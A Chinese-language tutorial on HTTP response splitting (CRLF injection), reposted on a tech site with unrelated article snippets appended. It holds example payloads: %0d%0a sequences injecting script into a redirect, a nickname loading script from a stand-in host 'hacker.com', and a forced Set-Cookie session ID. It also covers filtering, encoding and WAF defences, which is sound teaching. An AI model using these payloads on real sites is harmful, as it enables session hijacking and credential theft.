Web 安全之 HTTP 響應截斷攻擊詳解

這不是危言聳聽。
在一次安全審計中,某電商平臺發現:
用戶訪問首頁后,自動跳轉到了賭博網站
但代碼沒被篡改,服務器沒被入侵,日志一切正常。

最終追查發現——
罪魁禍首,竟是一個 %0d%0a(回車+換行)的URL參數。

這就是鮮為人知卻極其危險的:HTTP 響應截斷攻擊
它不靠漏洞提權,不靠暴力破解,而是用“文本注入”的方式,讓服務器自己“說出”惡意內容

今天,我們就來揭開這場“語言級”攻擊的真相。

一、你的響應頭,可能已經被“切開”了

我們每天都在和 HTTP 打交道:

  • 瀏覽器請求頁面,
  • 服務器返回數據,
  • 一切看似自然流暢。

但你有沒有想過——
HTTP 響應,其實是“拼”出來的?

服務器會把響應頭和響應體像“三明治”一樣組合起來:

HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: user=alice<html>...</html>

其中,換行符 \r\n 是分隔符,兩個 \r\n\r\n 代表響應頭和響應體的分界。

而攻擊者,就盯上了這個“分隔邏輯”。

二、黑客怎么“切開”HTTP 響應?

想象一下:
你讓廚師寫一張菜單:“主菜:紅燒肉”。
但他在“紅燒肉”后面偷偷加了“\n\n甜點:冰淇淋\n\n備注:所有客人都送一杯毒藥”。

結果,這張菜單就變成了兩張獨立的指令

HTTP 響應截斷,正是這種“越權拼接”。

攻擊核心:CRLF 注入

CRLF = Carriage Return + Line Feed = \r\n
攻擊者通過在用戶輸入中插入 %0d%0a(URL 編碼后的 \r\n),提前結束響應頭,然后注入自己的“新響應”。

典型場景:重定向參數污染

比如這個鏈接:

https://example.com/redirect?url=https://safe.com

服務器代碼可能是:

String url = request.getParameter("url");
response.sendRedirect(url);

看起來沒問題?錯。

如果攻擊者把 url 參數改成:

https://safe.com%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(1)</script>

服務器就會生成:

HTTP/1.1 302 Found
Location: https://safe.com
Content-Type: text/html<script>alert(1)</script>

瀏覽器收到后,會認為這是兩個獨立的HTTP響應

  1. 第一個:重定向到 safe.com(合法)
  2. 第二個:一個包含惡意腳本的頁面(攻擊者注入)

雖然現代瀏覽器對重定向中的響應體處理較嚴格,但在非重定向場景中,這種攻擊可以直接生效。

三、更可怕的實戰:Cookie + XSS = 會話劫持

來看一個更真實、更危險的案例。

場景:設置用戶名并寫入 Cookie

某網站允許用戶自定義昵稱,并通過響應頭設置 Cookie:

Set-Cookie: username=用戶輸入的昵稱

攻擊者注冊昵稱為:

Alice%0d%0a%0d%0a<script src=//hacker.com/x.js></script>

服務器生成的響應變成:

HTTP/1.1 200 OK
Set-Cookie: username=Alice<script src=//hacker.com/x.js></script>
<html>...</html>

用戶的瀏覽器會:

  • 忽略第一個“空響應”,
  • 執行第二個響應體中的惡意腳本。

結果:

  • 用戶毫無察覺,
  • 卻已加載了黑客的 JS,
  • 賬號、Cookie、密碼輸入,全部被竊取。

這就是 “響應截斷 + XSS” 的完美結合,比普通 XSS 更隱蔽,更難防御。

四、它還能干啥?這些后果你可能想不到

別以為這只是“彈個窗”的小問題。
HTTP 響應截斷的連鎖反應,遠超你的想象:

1. 網頁緩存投毒(Web Cache Poisoning)

如果網站用了 CDN 或反向代理緩存,攻擊者可以讓緩存服務器把惡意內容和正常 URL 綁定
結果:所有用戶訪問首頁,都看到釣魚頁面
修復難度極大,緩存不清空,問題一直存在。

2. 會話固定(Session Fixation)

攻擊者注入:
%0d%0aSet-Cookie: SESSIONID=attack123
強行將用戶的會話ID設為已知值。
用戶登錄后,黑客直接拿著這個 ID 登錄,完成無密碼入侵

3. 內容欺騙與釣魚

返回一個和官網一模一樣的登錄頁,但表單提交地址指向黑客服務器。
用戶輸入賬號密碼,直接“上交”。

五、為什么它這么難防?

因為:

  • 請求看起來完全合法,沒有SQL注入、沒有文件上傳;
  • 流量極小,不會觸發 DDoS 告警;
  • 傳統 WAF 規則難以識別,因為它不依賴特定 payload,而是利用協議邏輯;
  • 開發者容易忽略:誰會想到一個“換行符”能毀掉整個系統?

六、三步防御法:從開發到運維全面設防

? 第一步:輸入過濾——堵住源頭

對所有將用于設置響應頭的用戶輸入,嚴格過濾:

// Java 示例
String input = request.getParameter("name");
input = input.replaceAll("[\\r\\n]", ""); // 移除 CRLF

最佳實踐:使用白名單。
比如用戶名只允許 a-z, 0-9, _-,其他一律拒絕。

? 第二步:輸出編碼——雙重保險

即使輸入進了系統,也要在寫入響應頭前編碼

// 使用 URL 編碼
String encoded = URLEncoder.encode(input, "UTF-8");
response.setHeader("X-User", encoded);

這樣,%0d%0a 會被轉成 %250d%250a,失去攻擊能力。

? 第三步:用框架,別自己造輪子

現代框架早已內置防護:

框架防護機制
Spring BootHttpHeaders 自動過濾非法字符
DjangoHttpResponse headers 自動清理
Express.jssetHeader 對特殊字符有校驗

👉 結論:優先使用成熟框架,避免手寫 response.setHeader()

七、運維必做:WAF + 日志監控

1. 部署 WAF,開啟 CRLF 檢測規則

  • 攔截包含 %0d%0a\r\n 的請求;
  • 特別關注 CookieLocationReferer 等頭字段的輸入源。

2. 監控異常響應

  • 設置告警:短時間內大量 302 重定向或 Set-Cookie 異常;
  • 定期審計日志,查找可疑的 URL 編碼參數。

安全,藏在最不起眼的字符里

我們總以為,安全是防火墻、是加密、是漏洞掃描。
但真正的風險,往往藏在一行代碼、一個換行符、一次不規范的輸入處理中。

HTTP 響應截斷攻擊提醒我們:

在Web世界里,每一個字符都可能是武器。

作為開發者,不要問“誰會這么干”;
而要問:“如果有人這么干,我的系統會不會崩?”

防御的本質,不是預測攻擊,而是杜絕可能性。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/96403.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/96403.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/96403.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Envoy配置ext_proc

介紹 本文將使用gateway api inference extension作為envoy的ext_proc服務端 啟動Ext_Proc 基于Gateway API Inference Extension https://github.com/kubernetes-sigs/gateway-api-inference-extension.git 先clone代碼到本地 git clone https://github.com/kubernetes-…

echarts關系圖(Vue3)

基礎版效果圖&#xff1a;后期請求接口&#xff0c;接入數據即可用<template><div><v-chartref"vChartRef":option"option"style"width: 100%; height: 800px"></v-chart></div> </template><script lan…

【LeetCode】17. 電話號碼的字母組合

文章目錄17. 電話號碼的字母組合題目描述示例 1&#xff1a;示例 2&#xff1a;示例 3&#xff1a;提示&#xff1a;解題思路算法分析問題本質分析回溯法詳解組合生成過程可視化數字映射關系各種解法對比算法流程圖邊界情況處理時間復雜度分析空間復雜度分析關鍵優化點實際應用…

全文 part1 - DGEMM Using Tensor Cores, and Its Accurate and Reproducible Versions

摘要 本文提出了一種在 NVIDIA 圖形處理器&#xff08;GPU&#xff09;的張量核心&#xff08;Tensor Cores&#xff0c;僅含 FP16、INT8 等 GEMM 計算功能&#xff09;上實現 FP64&#xff08;雙精度&#xff0c;DGEMM&#xff09;和 FP32&#xff08;單精度&#xff0c;SGEMM…

Hexo 博客圖片托管:告別本地存儲,用 PicGo + GitHub 打造高速穩定圖床

之前剛開始進行Hexo博客撰寫&#xff0c;圖片都保存在本地Hexo源文件目錄&#xff08;source/images/&#xff09;文件夾&#xff0c;隨著圖片增多&#xff0c;管理起來壓力增大&#xff0c;于是產生了使用圖床&#xff0c;引入外鏈進行圖片存儲的想法 Pros and Cons 提升部署…

關于 VScode 無法連接 Linux 主機并報錯 <未能下載 VScode 服務器> 的解決方案

1. 出現的情況 VScode 遠程登錄 Linux 主機, 出現一下報錯:2. 檢查方案 2.1 VScode 方面 菜單欄: 點擊 <幫助> →\to→ 點擊 <關于> 在出現的彈窗中記錄 [提交: ] 之后的字符串 (暫且將該字符串命名為變量 $commit_id) 2.2 Linux 方面 使用 ssh or MobaXterm 遠程登…

泛型與反射

也是重新溫習了下泛型與反射,反射基本就是一些api理解即可,不過需要注意類加載器原理,而泛型則需要理解其設計思想,可以代替Object,更加靈活,可讀性強。泛型泛型如果指定后,編譯階段就會檢查,不讓亂輸其他類型,必須是引用類型; 如果不指定就默認Object// 如果指定泛型, 就必須存…

Docker端口映射與數據卷完全指南

目錄 Docker端口映射與數據卷完全指南 1. 端口映射:連接Docker容器與外部世界 1.1 為什么需要端口映射 1.2 實現端口映射 1.3 查看端口映射 1.4 修改端口映射(高級操作) 2. 數據卷:Docker數據持久化解決方案 2.1 數據持久化問題 2.2 數據卷的含義 2.3 數據卷的特點 2.4 掛載…

【Linux篇章】穿越網絡迷霧:揭開 HTTP 應用層協議的終極奧秘!從請求響應到實戰編程,從靜態網頁到動態交互,一文帶你全面吃透并征服 HTTP 協議,打造屬于你的 Web 通信利刃!

本篇摘要 本篇將介紹何為HTTP協議&#xff0c;以及它的請求與答復信息的格式&#xff08;請求行&#xff0c;請求包頭&#xff0c;正文等&#xff09;&#xff0c;對一些比較重要的部分來展開講解&#xff0c;其他不常用的即一概而過&#xff0c;從靜態網頁到動態網頁的過渡&a…

QT的項目pro qmake編譯

使用qmake管理Qt庫的子工程示例-CSDN博客 top_srcdir top_builddir

語音交互系統意圖識別介紹和構建

一、意圖識別簡介**意圖識別&#xff08;Intent Recognition&#xff09;**是語音交互系統的核心組件&#xff0c;用于理解用戶語音輸入背后的真實目的&#xff08;如查詢天氣、播放音樂等&#xff09;。輸入&#xff1a;語音轉文本&#xff08;ASR輸出&#xff09;的語句輸出&…

DINOv3 重磅發布

2025年8月14日 Meta 發布了 DINOv3 。 主頁&#xff1a;https://ai.meta.com/dinov3/ 論文&#xff1a;DINOv3 HuggingFace地址&#xff1a;https://huggingface.co/collections/facebook/dinov3-68924841bd6b561778e31009 官方博客&#xff1a;https://ai.meta.com/blog/d…

ansible playbook 實戰案例roles | 實現基于firewalld添加端口

文章目錄一、核心功能描述二、roles內容2.1 文件結構2.2 主配置文件2.3 tasks文件內容免費個人運維知識庫&#xff0c;歡迎您的訂閱&#xff1a;literator_ray.flowus.cn 一、核心功能描述 這個 Ansible Role (firewalld) 的核心功能是&#xff1a;動態地、安全地配置 firewal…

【深度學習實戰(55)】記錄一次在新服務器上使用docker的流程

使用docker&#xff1a;apt-get install dockersudo usermod -aG docker sliu &#xff08;將用戶 sliu 添加到 docker 用戶組&#xff09;newgrp docker &#xff08;刷新&#xff09;docker imagessudo docker load --input /home/sliu/workspace/env/shuai_docker.tar &…

面試后的跟進策略:如何提高錄用幾率并留下專業印象

面試結束后&#xff0c;許多求職者認為自己的任務已經完成&#xff0c;只需等待結果通知。然而&#xff0c;面試后的跟進策略同樣是求職過程中的關鍵環節&#xff0c;它不僅能提高你的錄用幾率&#xff0c;還能展示你的專業素養和持續興趣。本文將結合酷酷面試平臺的專業建議&a…

深入解析RAGFlow六階段架構

下面用“流程圖 六階段拆解”的方式&#xff0c;把 RAGFlow 的完整流程逐層剖開&#xff0c;力求把每一步的輸入、輸出、可選策略、內部機制都講清楚。 ──────────────────────── 一、總覽圖&#xff08;先建立體感&#xff09; 用戶提問 │ ├─→【…

Go語言中的迭代器模式與安全訪問實踐

Go語言中的迭代器模式與安全訪問實踐 1. 迭代器模式在Go中的演進 1.1 傳統迭代器模式回顧 在傳統面向對象語言中&#xff0c;迭代器模式通常涉及三個核心組件&#xff1a;可迭代集合接口(Iterable)迭代器接口(Iterator)具體實現類// 傳統迭代器模式示例 type Iterator interfac…

從零開始:JDK 在 Windows、macOS 和 Linux 上的下載、安裝與環境變量配置

前言 在進入 Java 世界之前&#xff0c;搭建一個穩定、可用的開發環境是每個開發者必須邁過的第一道門檻。JDK&#xff08;Java Development Kit&#xff09;作為 Java 程序開發的核心工具包&#xff0c;其正確安裝與環境變量配置直接關系到后續編譯、運行、調試等所有開發流程…

【音視頻】芯片、方案、市場信息收集

系統級芯片安霸&#xff08;Ambarella&#xff09;Ambarella H22/H32&#xff1a;高端方案&#xff0c;支持8K/4K高幀率錄制&#xff0c;低功耗&#xff0c;廣泛用于GoPro Hero 11/12、Insta360等旗艦機型。 Ambarella A12/A10&#xff1a;早期主流方案&#xff0c;支持4K60fps…

中科米堆CASAIM提供機加工件來料自動化測量尺寸方案

機加工行業面臨日益嚴格的質量追溯要求&#xff0c;來料質量的穩定性直接影響著后續生產效率與成品合格率。傳統人工檢測方式受限于接觸式工具的測量精度與操作效率&#xff0c;難以應對小批量、多品種的現代生產需求。傳統機加工件來料檢測長期面臨這些問題&#xff1a;其一&a…